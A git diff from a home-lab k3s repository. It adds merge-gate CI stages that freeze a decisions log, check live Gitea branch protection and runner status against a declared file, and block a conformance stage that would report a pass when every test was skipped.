-        #   k3s is now v1.36, where sidecar containers are GA, so kubelet can enforce the
-        #   ordering that the loops above hand-roll — which also removes the envsubst hazard
-        #   from this file entirely (no shell, no $i/$j, nothing to escape or mis-escape).
-        #   Shape to build:
-        #     1. Move this whole container into `initContainers:` as the FIRST entry.
-        #     2. Add `restartPolicy: Always` to it. That single field is what makes an
-        #        initContainer a sidecar: it starts before the regular containers, keeps
-        #        running alongside them, and is terminated after them.
-        #     3. Give it a `startupProbe` that succeeds only when dockerd accepts a TLS
-        #        connection — e.g. `exec` a `docker -H tcp://127.0.0.1:2376 --tlsverify
-        #        --tlscacert /certs/client/ca.pem --tlscert /certs/client/cert.pem
-        #        --tlskey /certs/client/key.pem info`. Do NOT use a bare `tcpSocket` probe:
-        #        it would re-open the same "port accepting but TLS/certs not ready" gap that
-        #        Stage 1 above exists to close. `periodSeconds: 1` + `failureThreshold: 60`
-        #        preserves today's 60s cap.
-        #     4. kubelet then holds the `runner` container until that startupProbe passes, so
-        #        `runner` can drop its `command:` override completely and run the image's
-        #        default entrypoint.
-        #   Why it is a separate change: this Deployment is the ENFORCED MERGE GATE for this
-        #   entire repository. If the conversion is wrong, nothing can merge — so it must land
-        #   alone, where the failure is unambiguous and not entangled with anything else, and
-        #   only after a real workflow run has been observed green on the converted pod.
-        - name: dind
-          image: docker:27-dind
-          securityContext:
-            privileged: true
-          env:
-            # Generate + publish TLS certs into the shared emptyDir; dockerd then listens
-            # on tcp://0.0.0.0:2376 (TLS) which the runner reaches at localhost:2376.
-            - name: DOCKER_TLS_CERTDIR
-              value: /certs
-          volumeMounts:
-            - name: certs
-              mountPath: /certs
-            - name: dind-storage
-              mountPath: /var/lib/docker
-          resources:
-            requests:
-              cpu: 100m
-              memory: 256Mi
-            limits:
-              memory: 2Gi
       volumes:
         - name: data
           persistentVolumeClaim:

catalog/plex.yaml

@@ -38,11 +38,17 @@ env:
   # UNCLAIMED, so this is wired; it was previously left out on the reasoning below, and only one
   # half of that reasoning survived contact with the upstream source.
   #
-  # THE 4-MINUTE TTL IS STILL TRUE, and it is now the OPERATIONAL constraint rather than a reason to
-  # abstain. A https://plex.tv/claim token expires in ~4 minutes — far shorter than commit -> push ->
-  # Flux reconcile -> pod-roll if that cycle is left to its own timers. So the committed value is a
-  # documented PLACEHOLDER and the live token is injected by the operator inside that window, with an
-  # explicit `flux reconcile` to collapse the wait: runbooks/plex-claim.md is the timed procedure.
+  # A SHORT TTL IS THE OPERATIONAL CONSTRAINT, not a reason to abstain. A https://plex.tv/claim token
+  # expires in MINUTES — read the countdown the claim page renders; do not budget against a number
+  # written in this tree. (This comment previously asserted "~4 minutes" as established fact. It was
+  # UNCITED, upstream plexinc/pms-docker documents no expiry at all, and that number was load-bearing
+  # for the whole procedure design — including a since-disproven claim that the delivery pipeline was
+  # too slow to fit inside it. Measured 2026-09-29: the full loop is ~2m45s and fits.)
+  #
+  # The live token is injected by the operator inside that window, with an explicit `flux reconcile`
+  # to collapse the wait. Scripted end to end as infra/plex/claim-ship.sh; runbooks/plex-claim.md is
+  # the procedure. SERVER CLAIMED 2026-09-29 — this env is now a permanent no-op (see below), and the
+  # committed value is the spent token from that claim rather than the original placeholder.
   #
   # ONE-SHOT, AND SAFE TO SIT HERE EXPIRED. Verified from plexinc/pms-docker's own first-run script
   # (branch `master`, root/etc/cont-init.d/40-plex-first-run, confirmed byte-identical to the file in

ci/Makefile

@@ -12,7 +12,7 @@ CI_DIR := $(dir $(abspath $(lastword $(MAKEFILE_LIST))))
 
 .DEFAULT_GOAL := help
 
-.PHONY: help spec-immutability lint schema l0 render-golden l1 conformance gate all touched versions tools test
+.PHONY: help spec-immutability decisions-log lint schema l0 render-golden l1 conformance gate all touched versions tools test
 
 help: ## Show this help
 	@awk 'BEGIN{FS=":.*##"} /^[a-zA-Z0-9_-]+:.*##/{printf "  \033[36m%-14s\033[0m %s\n",$$1,$$2}' $(MAKEFILE_LIST)
@@ -29,9 +29,15 @@ schema l0: ## ServiceDefinition schema validation + Kyverno L0 policy gate (no c
 render-golden: ## render==golden: canonical render reproduces committed apps/ (no cluster; live now)
 	@"$(CI_DIR)render-golden.sh"
 
+decisions-log: ## handoff log: DECISIONS-LOG.md frozen, decisions/ entries well-formed (no cluster)
+	@"$(CI_DIR)decisions-log.sh"
+
 l1: ## L1 rendering checks (no cluster; live now)
 	@"$(CI_DIR)l1.sh"
 
+gitea-settings: ## Gitea branch protection + runners match infra/gitea/expected-branch-protection.json (SKIPS w/o GITEA_SETTINGS_TOKEN)
+	@./gitea-settings.sh
+
 conformance: ## L2/L3 in-cluster Chainsaw Job (SKIPS w/o CLUSTER_AVAILABLE=true)
 	@"$(CI_DIR)conformance.sh"
 

ci/README.md

@@ -1,5 +1,19 @@
 # `ci/` — portable merge gate (runnable today, without Gitea)
 
+> **STATUS NOTE (2026-09-29) — read before trusting the "Phase 0" framing below.**
+> This document speaks as though no cluster exists and the platform is scaffolding. **A
+> three-node k3s cluster has existed for weeks** and Flux has been reconciling against it.
+> Gitea is live, the Actions runner `incluster-dind` is online, and `main` is a protected
+> branch. Where the text says "Phase 0", "stub", or "no cluster exists", read it as
+> describing a **live gap** rather than an expected stage — most importantly, L2/L3
+> conformance still does not run in CI (`vars.CLUSTER_AVAILABLE` is unset), which is a real
+> coverage hole, not a phase.
+>
+> This mismatch is not cosmetic. A month of "the gate enforces this" claims rested on
+> documentation rather than measurement, and `main` was unprotected with zero runners
+> registered the whole time. **Query the live API before asserting platform state.**
+
+
 **Task T-0.2 · R-TEST-02 (reproducible, single-command) · Owner WS-GITOPS (CI).**
 
 The same merge gate the Gitea Actions workflow runs
@@ -87,6 +101,7 @@ caller that must distinguish them invokes `./ci/gate.sh` directly.
 |---|---|---|
 | `lint`, `l0`, `render-golden`, `l1` | a **pinned tool is absent** or a **wired seam went unwired** — it *could not run* | **BLOCKED** under strict skips (a CI runner: the toolchain is installed for us by `.gitea/workflows/scripts/install-tools.sh`, so a skip is a defect); **UNDETERMINED** otherwise (a workstation missing a tool is a real local condition — still non-zero, still not a pass; the remedy is `infra/devcontainer/dev.sh`, which carries the pinned toolchain) |
 | `spec-immutability` (R-TEST-06) | the sibling spec repo is not checked out, so the spec **could not be verified** | **UNDETERMINED** — unverified is unverified. Deliberately *not* upgraded to BLOCKED by strict skips: the live runner does not check the spec repo out at all, so blocking would leave the only enforced status check permanently red for a reason no PR could clear. It is therefore the **one** skip whose non-answer a caller may knowingly tolerate, and `.gitea/workflows/gate.yml` does so in one visible line. `REQUIRE_SPEC_VERIFICATION=true` makes it a hard block once that checkout is wired. Locally: check the spec repo out beside this one, or set `SPEC_REPO` (`dev.sh` mounts a sibling automatically). |
+| `decisions-log` | **nothing** — this stage has no skip path. It reads only files in the tree under test and needs no tool and no cluster, so there is no environment in which it "could not run" | a reported skip is a **defect in the stage** and BLOCKS. The stage fails when the frozen `DECISIONS-LOG.md` is modified (which silently re-creates, for every *other* open branch, the tail-hunk conflict that made four of five PRs unmergeable on 2026-09-29) or when a `decisions/` entry is malformed. There is deliberately **no** `REQUIRE_DECISIONS_LOG` knob: a guard with an off switch is not a guard. See `decisions/README.md`. |
 | `conformance` (L2/L3) | `CLUSTER_AVAILABLE!=true` — the environment **declared** the capability absent (documented Phase-0 behaviour) | **does not deny a PASS**: a declared-inapplicable stage was never *supposed* to run. It is NAMED in the PASS headline and step summary, the touched requirements it would have covered are reported UNVERIFIED, and `REQUIRE_CLUSTER_TESTS=true` (Phase 1+) turns that into a block. A skip **despite** `CLUSTER_AVAILABLE=true` is a defect and BLOCKS. |
 
 That asymmetry is the whole rule: **declared-not-applicable may pass; could-not-run may not.**

ci/conformance.sh

@@ -61,5 +61,45 @@ if [ -d "${CONF_ART}/coverage" ]; then
   cp -r "${CONF_ART}/coverage/." "${COVERAGE_DIR}/"
 fi
 
+# ---------------------------------------------------------------------------------------
+# DID IT ACTUALLY RUN? -- the guard without which this stage FAKES A GREEN.
+#
+# run.sh exits 0 in "scaffold mode" when it cannot reach a cluster: it emits a JUnit file
+# whose every testcase is <skipped> and returns success. That is correct FOR run.sh -- an
+# honest skip is its documented no-cluster behaviour. It is catastrophic HERE, because
+# reaching this point means the environment DECLARED CLUSTER_AVAILABLE=true, and this stage
+# would otherwise print "L2/L3 conformance passed" over 54 tests that never executed.
+#
+# MEASURED 2026-09-29, before this guard existed:
+#   CLUSTER_AVAILABLE=true ./ci/conformance.sh   ->  rc=0
+#   "[junit] wrote skipped JUnit for 54 scaffolded test(s)"
+#   "[ ok ] L2/L3 conformance passed for touched subset"
+# One Gitea variable away from a fake green on an enforcing merge gate. That is exactly the
+# HARD RULE 4 violation this repo's whole gate design exists to prevent, and nothing caught
+# it because nobody had ever set the variable.
+#
+# A skip while a cluster is DECLARED is a contradiction: either the declaration is wrong or
+# the cluster is unreachable. The merge-gate decision matrix already says this case is BLOCK
+# ("conformance skipped while CLUSTER_AVAILABLE=true -> BLOCK (it should have run)"). This
+# makes the stage itself honour that instead of reporting a pass.
+JUNIT="${CONF_ART}/report.junit.xml"
+if [ -f "$JUNIT" ]; then
+  total="$(grep -o '<testcase' "$JUNIT" | wc -l | tr -d ' ')"
+  skipped="$(grep -o '<skipped' "$JUNIT" | wc -l | tr -d ' ')"
+  if [ "${total:-0}" -gt 0 ] && [ "${skipped:-0}" -ge "${total:-0}" ]; then
+    err "CLUSTER_AVAILABLE=true, but the L2/L3 suite SKIPPED every one of its ${total} tests"
+    err "  (scaffold mode -- run.sh could not reach a cluster and exited 0)."
+    err "  This stage will NOT report that as a pass. Either the cluster is unreachable from"
+    err "  this runner, or CLUSTER_AVAILABLE is set when it should not be."
+    err "  NOTE: the in-cluster trigger path is still UNIMPLEMENTED -- see"
+    err "  docs/plans/l2-l3-conformance-ci-wiring.md. Setting CLUSTER_AVAILABLE=true does not"
+    err "  by itself make L2/L3 run; it only makes this stage attempt a LOCAL run that the CI"
+    err "  runner has no credential for (automountServiceAccountToken: false, by design)."
+    summary "- conformance-l2-l3: **BLOCKED — declared available but every test skipped** (not a pass)"
+    exit 1
+  fi
+  log "L2/L3 executed: ${total} testcase(s), ${skipped} skipped"
+fi
+
 ok "L2/L3 conformance passed for touched subset"
 summary "- conformance-l2-l3: **passed**"

ci/decisions-log.sh

@@ -0,0 +1,195 @@
+#!/usr/bin/env bash
+# ci/decisions-log.sh — the handoff log is a DIRECTORY, and the old single file is frozen.
+#
+# WHY THIS STAGE EXISTS
+# ---------------------
+# CLAUDE.md §7 tells every agent to record a handoff before finishing. Until 2026-09-29 that
+# meant appending to the tail of one 5,228-line file, DECISIONS-LOG.md. Every branch appended
+# to the SAME last hunk, so git could not auto-merge any two of them. Measured that day against
+# the live Gitea: four of the five open PRs were `mergeable: false`, and `git merge-tree`
+# against `main` named DECISIONS-LOG.md as the ONLY conflicting path in all four:
+#
+#   #22 fix/crafty-oauth2-proxy-signin       CONFLICT (content): DECISIONS-LOG.md
+#   #20 feat/conformance-job-template        CONFLICT (content): DECISIONS-LOG.md
+#   #19 feat/conformance-trigger-kubeconfig  CONFLICT (content): DECISIONS-LOG.md
+#   #18 feat/conformance-runner-image        CONFLICT (content): DECISIONS-LOG.md
+#   #17 feat/ci-is-the-approver              clean — it wrote no handoff entry
+#
+# Nothing was wrong with any of those changes. The log's storage format serialised work that
+# was otherwise parallel, and the cost grew with every concurrent branch (N branches -> N-1
+# rebases, each invalidating the gate run before it).
+#
+# The fix is that handoffs now live one-per-file under decisions/, so concurrent branches touch
+# disjoint paths and there is nothing to merge. See decisions/README.md.
+#
+# WHY IT NEEDS A CHECK AND NOT JUST A DOCUMENT
+# --------------------------------------------
+# The old habit is written into this repo in many places — the runbooks, the muscle memory of
+# every agent that has read the log, and (until this change) CLAUDE.md itself. An agent that
+# appends to DECISIONS-LOG.md anyway does not fail: it produces a perfectly good-looking commit
+# that quietly re-creates the conflict for every other open branch, and the damage is only
+# visible later, to somebody else, in a PR that is not theirs. That is the exact shape this
+# repo keeps getting burned by — a silent regression with a delayed, misattributed symptom — so
+# it gets a guard rather than a paragraph.
+#
+# WHAT IS ASSERTED
+#   (1) DECISIONS-LOG.md is byte-identical to the SHA-256 pinned in decisions/ARCHIVE.sha256.
+#       Re-pinning is a deliberate, reviewable line in a diff; appending is not.
+#   (2) Every decisions/ entry is named YYYY-MM-DD-<slug>.md with a real calendar date, so the
+#       directory sorts chronologically and two agents cannot collide on a filename.
+#   (3) Every entry carries frontmatter (date, branch, title) whose `date` agrees with its
+#       filename — a disagreement means a copied template nobody edited.
+#   (4) Every entry has all three of CLAUDE.md §7's sections with a real body under each:
+#       "What changed", "What I verified", "What I did NOT verify". This is the quality floor
+#       that stops an entry degrading into "done ✅". The third heading is the load-bearing one:
+#       this repo's recurring failure is a confident report of something nobody measured, and an
+#       entry with nowhere to write "UNVERIFIED" does not get one written.
+#
+# EXIT CODES (ci/README.md contract): 0 pass, 1 BLOCKS the merge. This stage has NO skip path —
+# it reads only files that are in the tree it is run against, needs no tool beyond coreutils and
+# no cluster, so there is no environment in which it "could not run". Adding an rc 3 here would
+# add a fail-open surface to a guard whose whole job is to close one.
+set -uo pipefail
+CI_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+# shellcheck disable=SC1091
+source "${CI_DIR}/lib.sh"
+set +e   # aggregate every problem in one run; do not stop at the first.
+
+cd "$REPO_ROOT"
+
+ARCHIVE="DECISIONS-LOG.md"
+PIN="decisions/ARCHIVE.sha256"
+rc=0
+
+# ---- (1) the archive is frozen ----------------------------------------------
+log "Stage: decisions log (archive frozen + entries well-formed)"
+
+if [ ! -f "$ARCHIVE" ]; then
+  err "${ARCHIVE} is missing. It is the frozen pre-2026-09-29 history and must stay in the tree."
+  summary "- decisions-log: **FAILED** (\`${ARCHIVE}\` missing)"
+  rc=1
+elif [ ! -f "$PIN" ]; then
+  err "${PIN} is missing, so the archive's integrity cannot be established."
+  err "  If you are re-pinning deliberately: sha256sum ${ARCHIVE} > ${PIN}"
+  summary "- decisions-log: **FAILED** (\`${PIN}\` missing — archive unverifiable)"
+  rc=1
+else
+  want="$(awk 'NR==1{print $1}' "$PIN")"
+  got="$(sha256sum "$ARCHIVE" | awk '{print $1}')"
+  if [ "$want" != "$got" ]; then
+    err "${ARCHIVE} HAS CHANGED. It is a FROZEN ARCHIVE — do not append to it."
+    err "    pinned:  ${want}"
+    err "    on disk: ${got}"
+    err ""
+    err "  Every branch that appends to this file's tail conflicts with every other branch that"
+    err "  does, on the same hunk. That is what made four of five open PRs unmergeable on"
+    err "  2026-09-29, and your commit would re-create it for branches that are not yours."
+    err ""
+    err "  Write your handoff as its OWN FILE instead:"
+    err "    decisions/\$(date +%F)-<your-branch-slug>.md      (see decisions/README.md)"
+    err "  and restore the archive:  git checkout -- ${ARCHIVE}"
+    err ""
+    err "  If the archive genuinely must change (redacting a leaked credential, say), that is a"
+    err "  reviewed act: re-pin it with 'sha256sum ${ARCHIVE} > ${PIN}' and say why in your entry."
+    summary "- decisions-log: **FAILED — the frozen archive \`${ARCHIVE}\` was modified** (append to \`decisions/\` instead)"
+    rc=1
+  else
+    ok "${ARCHIVE}: unchanged (sha256 matches ${PIN})"
+  fi
+fi
+
+# ---- (2)(3)(4) every entry is well-formed ------------------------------------
+shopt -s nullglob
+entries=( decisions/[0-9]*.md )
+shopt -u nullglob
+
+# Zero entries is legitimate only until the first handoff lands; after that the glob always
+# matches. It is never an error here — a branch that changes no behaviour owes no handoff, and
+# CLAUDE.md, not this stage, is what asks for one.
+if [ "${#entries[@]}" -eq 0 ]; then
+  log "no decisions/ entries yet"
+fi
+
+REQUIRED_SECTIONS=("What changed" "What I verified" "What I did NOT verify")
+
+for f in "${entries[@]}"; do
+  base="${f#decisions/}"
+
+  # (2) filename
+  if [[ ! "$base" =~ ^([0-9]{4}-[0-9]{2}-[0-9]{2})-([a-z0-9][a-z0-9-]*)\.md$ ]]; then
+    err "${f}: name must be decisions/YYYY-MM-DD-<slug>.md with a lowercase [a-z0-9-] slug."
+    err "  Use your branch's last segment as the slug — it is already unique per unit of work."
+    summary "- decisions-log: **FAILED** (\`${f}\` misnamed)"
+    rc=1
+    continue
+  fi
+  fname_date="${BASH_REMATCH[1]}"
+
+  if ! date -d "$fname_date" +%F >/dev/null 2>&1 || [ "$(date -d "$fname_date" +%F)" != "$fname_date" ]; then
+    err "${f}: '${fname_date}' is not a real calendar date."
+    summary "- decisions-log: **FAILED** (\`${f}\` — impossible date)"
+    rc=1
+    continue
+  fi
+
+  # (3) frontmatter
+  if [ "$(head -1 "$f")" != "---" ]; then
+    err "${f}: must open with a '---' YAML frontmatter block (date, branch, title)."
+    err "  See decisions/README.md for the template."
+    summary "- decisions-log: **FAILED** (\`${f}\` — no frontmatter)"
+    rc=1
+    continue
+  fi
+  fm="$(awk 'NR==1&&$0=="---"{inb=1;next} inb&&$0=="---"{exit} inb{print}' "$f")"
+  missing_keys=()
+  for k in date branch title; do
+    grep -qE "^${k}:[[:space:]]*\S" <<<"$fm" || missing_keys+=("$k")
+  done
+  if [ "${#missing_keys[@]}" -gt 0 ]; then
+    err "${f}: frontmatter is missing a non-empty ${missing_keys[*]}."
+    summary "- decisions-log: **FAILED** (\`${f}\` — frontmatter missing \`${missing_keys[*]}\`)"
+    rc=1
+    continue
+  fi
+  fm_date="$(grep -m1 -E '^date:' <<<"$fm" | sed -E 's/^date:[[:space:]]*//; s/[[:space:]"'\'']//g')"
+  if [ "$fm_date" != "$fname_date" ]; then
+    err "${f}: frontmatter date '${fm_date}' disagrees with the filename's '${fname_date}'."
+    err "  One of them was copied from a template and not edited; the log's ordering depends on both."
+    summary "- decisions-log: **FAILED** (\`${f}\` — date disagrees with filename)"
+    rc=1
+    continue
+  fi
+
+  # (4) the three required sections, each with a real body
+  body_start="$(awk 'NR>1 && $0=="---" {print NR; exit}' "$f")"
+  [ -n "$body_start" ] || body_start=1
+  for want_sec in "${REQUIRED_SECTIONS[@]}"; do
+    hdr_line="$(awk -v s="$body_start" -v w="## ${want_sec}" 'NR>s && $0==w {print NR; exit}' "$f")"
+    if [ -z "$hdr_line" ]; then
+      err "${f}: missing the required section '## ${want_sec}'."
+      err "  CLAUDE.md §7 asks for what you changed, what you verified, and what you did NOT."
+      err "  All three are structure here, because the third is the one that gets dropped."
+      summary "- decisions-log: **FAILED** (\`${f}\` — missing \`## ${want_sec}\`)"
+      rc=1
+      continue
+    fi
+    # A real body: at least 20 non-blank, non-heading characters before the next '## '.
+    nchars="$(awk -v s="$hdr_line" 'NR>s { if ($0 ~ /^## /) exit; print }' "$f" \
+             | tr -d '[:space:]' | wc -c)"
+    if [ "$nchars" -lt 20 ]; then
+      err "${f}: section '## ${want_sec}' is empty or a stub (${nchars} chars of content)."
+      err "  If nothing was verified, WRITE THAT — 'nothing was verified; the gate was not run'"
+      err "  is a valid and useful entry. A blank section is not."
+      summary "- decisions-log: **FAILED** (\`${f}\` — \`## ${want_sec}\` is a stub)"
+      rc=1
+    fi
+  done
+done
+
+if [ "$rc" -eq 0 ]; then
+  ok "decisions log: archive frozen, ${#entries[@]} entr$([ "${#entries[@]}" -eq 1 ] && echo y || echo ies) well-formed"
+  summary "- decisions-log: **passed** (archive frozen; ${#entries[@]} entries well-formed)"
+else
+  err "decisions log stage FAILED"
+fi
+exit "$rc"

ci/gate.sh

@@ -108,10 +108,12 @@ summary "## Merge gate (R-TEST-03)"
 summary ""
 
 run_stage spec-immutability "${CI_DIR}/spec-immutability.sh"
+run_stage decisions-log "${CI_DIR}/decisions-log.sh"
 run_stage lint          "${CI_DIR}/lint.sh"
 run_stage l0            "${CI_DIR}/l0.sh"
 run_stage render-golden "${CI_DIR}/render-golden.sh"
 run_stage l1            "${CI_DIR}/l1.sh"
+run_stage gitea-settings "${CI_DIR}/gitea-settings.sh"
 run_stage conformance   "${CI_DIR}/conformance.sh"
 
 echo >&2
@@ -188,6 +190,47 @@ case "${OUTCOME[spec-immutability]}" in
   pass) ok   "spec-immutability: green" ;;
 esac
 
+# gitea-settings: the ONLY check that can see Gitea's own database (branch protection +
+# runner registration). A FAIL is real drift and always blocks -- that is the whole point.
+# A SKIP means no token or unreachable Gitea, which is an UNWIRED CREDENTIAL, not a defect
+# in the change under test. It is deliberately NOT in the strict-skips loop below: making an
+# absent secret block every PR is precisely the lock-yourself-out failure this repo keeps
+# walking into (a required check with nothing able to satisfy it). So a skip denies a PASS
+# (exit 3) and says loudly what is unverified. Set REQUIRE_GITEA_SETTINGS=true once the
+# token is wired, and the skip becomes a block as it should.
+case "${OUTCOME[gitea-settings]}" in
+  fail) err "gitea-settings: Gitea DRIFTED from infra/gitea/expected-branch-protection.json -> blocks merge"; BLOCK=1 ;;
+  skip)
+    if truthy "${REQUIRE_GITEA_SETTINGS:-false}"; then
+      err "gitea-settings: skipped and REQUIRE_GITEA_SETTINGS=true -> blocks merge"
+      summary "- gitea-settings: **SKIPPED** (no token) — blocks merge (REQUIRE_GITEA_SETTINGS=true)"
+      BLOCK=1
+    else
+      warn "gitea-settings: skipped (no GITEA_SETTINGS_TOKEN) — branch protection and runner"
+      warn "  registration are UNVERIFIED. Both were silently wrong for a month. Wire the token"
+      warn "  (infra/gitea/set-ci-token.sh), then set REQUIRE_GITEA_SETTINGS=true."
+      summary "- gitea-settings: **SKIPPED** (no token — protection/runners unverified; not a pass)"
+      NOT_ESTABLISHED+=("gitea-settings")
+    fi ;;
+  pass) ok "gitea-settings: green" ;;
+esac
+
+# decisions-log: the handoff log's storage format. A FAIL means either the frozen archive
+# DECISIONS-LOG.md was modified — which re-creates, for every OTHER open branch, the tail-hunk
+# conflict that made four of five PRs unmergeable on 2026-09-29 — or a decisions/ entry is
+# malformed. Always blocks, and has no skip path by construction: the stage reads only files in
+# the tree under test and needs no tool or cluster, so there is no environment in which it
+# "could not run". A guard against a silent, delayed, misattributed regression must not itself
+# have a way to not-run.
+case "${OUTCOME[decisions-log]}" in
+  fail) err "decisions-log: FAILED -> blocks merge (see decisions/README.md)"; BLOCK=1 ;;
+  skip) err "decisions-log: reported SKIPPED, which this stage has no path to produce -> treat"
+        err "  as a defect in the stage itself and block."
+        summary "- decisions-log: **SKIPPED** (impossible by construction) — blocks merge"
+        BLOCK=1 ;;
+  pass) ok  "decisions-log: green" ;;
+esac
+
 # L0/L1 stages: any failure blocks. A SKIP here means a pinned tool is missing or a seam is
 # unwired — NEVER green. In CI (strict) that is a defect and blocks; on a workstation it
 # degrades to UNDETERMINED, which is still non-zero and still not a pass. render-golden is a

ci/gitea-settings.sh

@@ -0,0 +1,133 @@
+#!/usr/bin/env bash
+# ci/gitea-settings.sh — Stage: the Gitea platform settings that gate this repo still
+# match what git declares.
+#
+# WHY THIS STAGE EXISTS AT ALL
+# ----------------------------
+# Every other check in this repo reads the repository, the rendered manifests, or the
+# cluster. NONE of them can see Gitea's own database — and that is where branch
+# protection and runner registration live. On 2026-09-29 that blind spot was measured:
+#
+#   * `main` had NO branch protection, and
+#   * ZERO Actions runners were registered,
+#
+# for roughly a month, while DECISIONS-LOG.md recorded both as working and every agent
+# and human in the loop repeated that claim because the repository said so. PR #1 — the
+# first pull request this repo ever had — sat `pending` for 30.6 minutes with nothing to
+# execute it. Later the same day `enable_status_check` and `required_approvals` were turned
+# on and STILL did not bite, because `block_admin_merge_override` was false; PRs #5-#9
+# merged with zero approvals recorded against `required_approvals: 1`.
+#
+# Three separate failures, one shape: a setting that READ as enforced while not being, with
+# no mechanism anywhere that could notice. Scripts that ASSERT the desired state
+# (infra/gitea/*.sh) do not detect drift from it. This stage is the detector.
+#
+# WHAT IT ASSERTS
+#   1. every key in infra/gitea/expected-branch-protection.json `.protection` matches the
+#      LIVE rule at /repos/{repo}/branch_protections/{branch}, exactly;
+#   2. at least `.runners_online_min` Actions runners report status "online".
+#
+# (2) is not decoration. A required status check with no runner is the deadlock this repo
+# nearly walked into: every PR pends forever, including the one that would fix it.
+#
+# READ THE RULE OBJECT, NOT THE BRANCH VIEW. /repos/{repo}/branches/{branch} reports
+# `protected`, `enable_status_check` and `required_approvals` but NOT
+# `block_admin_merge_override` — it showed all-green while the rule was overridable by the
+# only account that merges. This stage queries /branch_protections/ deliberately.
+#
+# EXIT CODES (the gate contract)
+#   0  live Gitea matches the declaration
+#   1  DIVERGENCE — something drifted, or was never applied. Blocks the merge.
+#   3  SKIP — no token, or Gitea unreachable. Never a pass; see gate.sh, which treats this
+#      skip like spec-immutability's (UNDETERMINED, exit 3) rather than a hard block, so
+#      that an unwired credential cannot lock the repository.
+#
+# TO WIRE IT: create a Gitea repo secret SETTINGS_API_TOKEN (a token that can read repo
+# settings) — infra/gitea/set-ci-token.sh does it. Until then this stage skips LOUDLY and
+# the drift it exists to catch is still undetected.
+#
+# NOT `GITEA_SETTINGS_TOKEN`. This comment named that until 2026-09-29 and it instructed the
+# reader to do something IMPOSSIBLE: Gitea reserves the `GITEA_` prefix for secret names and
+# rejects the PUT with HTTP 400 "invalid secret name". That is not a style rule — it is why the
+# detector sat inert for hours while a token existed and no secret did. The env var below still
+# accepts GITEA_SETTINGS_TOKEN, but only for a LOCAL run: it can never be the CI wiring, because
+# the secret that would feed it cannot be created at all.
+set -euo pipefail
+CI_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+REPO_ROOT="$(cd "${CI_DIR}/.." && pwd)"
+# shellcheck disable=SC1091
+source "${CI_DIR}/lib.sh"
+
+log "Stage: Gitea platform settings match the declaration"
+
+DECL="${REPO_ROOT}/infra/gitea/expected-branch-protection.json"
+GITEA_URL="${GITEA_URL:-https://gitea.home.keithjackson.dev}"
+GITEA_REPO="${GITEA_REPO:-Home-Network/home-network-k3s-impl}"
+# SETTINGS_API_TOKEN, not GITEA_SETTINGS_TOKEN. Gitea RESERVES the `GITEA_` prefix for
+# secret names and rejects a PUT of one with HTTP 400 "invalid secret name" — the same way
+# GitHub reserves `GITHUB_`. The original name could therefore never be stored, and because
+# infra/gitea/set-ci-token.sh sent that PUT to /dev/null and printed "stored" unconditionally,
+# it looked like it had worked. A token was minted, no secret existed, and this stage would
+# have skipped forever. GITEA_SETTINGS_TOKEN is still honoured for a local run.
+TOKEN="${SETTINGS_API_TOKEN:-${GITEA_SETTINGS_TOKEN:-}}"
+
+[ -f "$DECL" ] || die "declaration missing: ${DECL}"
+require_tool jq
+require_tool curl
+
+if [ -z "$TOKEN" ]; then
+  skip "SETTINGS_API_TOKEN is not set — cannot read the live Gitea rule."
+  skip "  Branch protection and runner registration are therefore UNVERIFIED. They were"
+  skip "  wrong, unnoticed, for a month (2026-09-29). Wire it: infra/gitea/set-ci-token.sh"
+  summary "- gitea-settings: **SKIPPED — no token** (protection + runners UNVERIFIED; not a pass)"
+  exit 3
+fi
+
+api() { curl -sS --max-time 20 -H "Authorization: token ${TOKEN}" "$@"; }
+
+BRANCH="$(jq -r '.branch' "$DECL")"
+LIVE="$(api "${GITEA_URL}/api/v1/repos/${GITEA_REPO}/branch_protections/${BRANCH}" || true)"
+if [ -z "$LIVE" ] || ! jq -e 'type == "object" and has("branch_name")' >/dev/null 2>&1 <<<"$LIVE"; then
+  skip "could not read the branch-protection rule from ${GITEA_URL} (unreachable, or the token"
+  skip "  lacks permission). Not treating this as a pass."
+  summary "- gitea-settings: **SKIPPED — Gitea unreadable** (not a pass)"
+  exit 3
+fi
+
+RC=0
+
+# --- 1. every declared protection key must match the live rule, exactly ---------------
+while IFS= read -r key; do
+  want="$(jq -Sc --arg k "$key" '.protection[$k]' "$DECL")"
+  got="$(jq -Sc --arg k "$key" 'if has($k) then .[$k] else "<<ABSENT>>" end' <<<"$LIVE")"
+  if [ "$want" = "$got" ]; then
+    ok "  ${key} = ${got}"
+  else
+    err "  ${key}: DECLARED ${want} but LIVE is ${got}"
+    RC=1
+  fi
+done < <(jq -r '.protection | keys[]' "$DECL")
+
+# --- 2. a runner must actually be online ----------------------------------------------
+MIN="$(jq -r '.runners_online_min // 1' "$DECL")"
+RUNNERS="$(api "${GITEA_URL}/api/v1/admin/actions/runners" || true)"
+N="$(jq -r '[(.runners//[])[]|select(.status=="online")]|length' <<<"${RUNNERS:-{\}}" 2>/dev/null || echo 0)"
+if [ "${N:-0}" -ge "$MIN" ]; then
+  ok "  runners online: ${N} (>= ${MIN})"
+else
+  err "  runners online: ${N}, DECLARED minimum ${MIN}."
+  err "  A required status check with no runner leaves every PR pending forever —"
+  err "  including the PR that would fix it. This is the 2026-09-29 outage condition."
+  RC=1
+fi
+
+if [ "$RC" -eq 0 ]; then
+  ok "Gitea settings match the declaration."
+  summary "- gitea-settings: **green** (branch protection + runners match \`infra/gitea/expected-branch-protection.json\`)"
+else
+  err "Gitea has DRIFTED from infra/gitea/expected-branch-protection.json."
+  err "  Re-assert it (infra/gitea/require-gate.sh, block-admin-override.sh), or if the live"
+  err "  state is what you now want, change the DECLARATION in the same commit — deliberately."
+  summary "- gitea-settings: **DRIFT** — live Gitea does not match the declaration; blocks merge"
+fi
+exit "$RC"

ci/l0.sh

@@ -79,12 +79,37 @@ else
   cp -a "${KYVERNO_POLICY_DIR}/." "$l0_render/"
   find "$l0_render" -type f -name '*.yaml' -print0 \
     | xargs -0 sed -i "s/\${KYVERNO_VALIDATION_ACTION}/${KYVERNO_VALIDATION_ACTION}/g"
-  if kyverno test "$l0_render"; then
-    ok "Kyverno L0 policy tests passed"
-    summary "- kyverno-l0: **passed**"
+  # DO NOT TRUST `kyverno test`'s EXIT CODE ALONE. A policy that fails to LOAD (schema
+  # error, bad match block, malformed JMESPath) does not fail the run: every result row
+  # becomes `Skip / Invalid Policy` and the CLI still prints "N tests passed" and exits 0.
+  #
+  # MEASURED 2026-09-29 while authoring conformance-trigger-job-shape: the policy had its
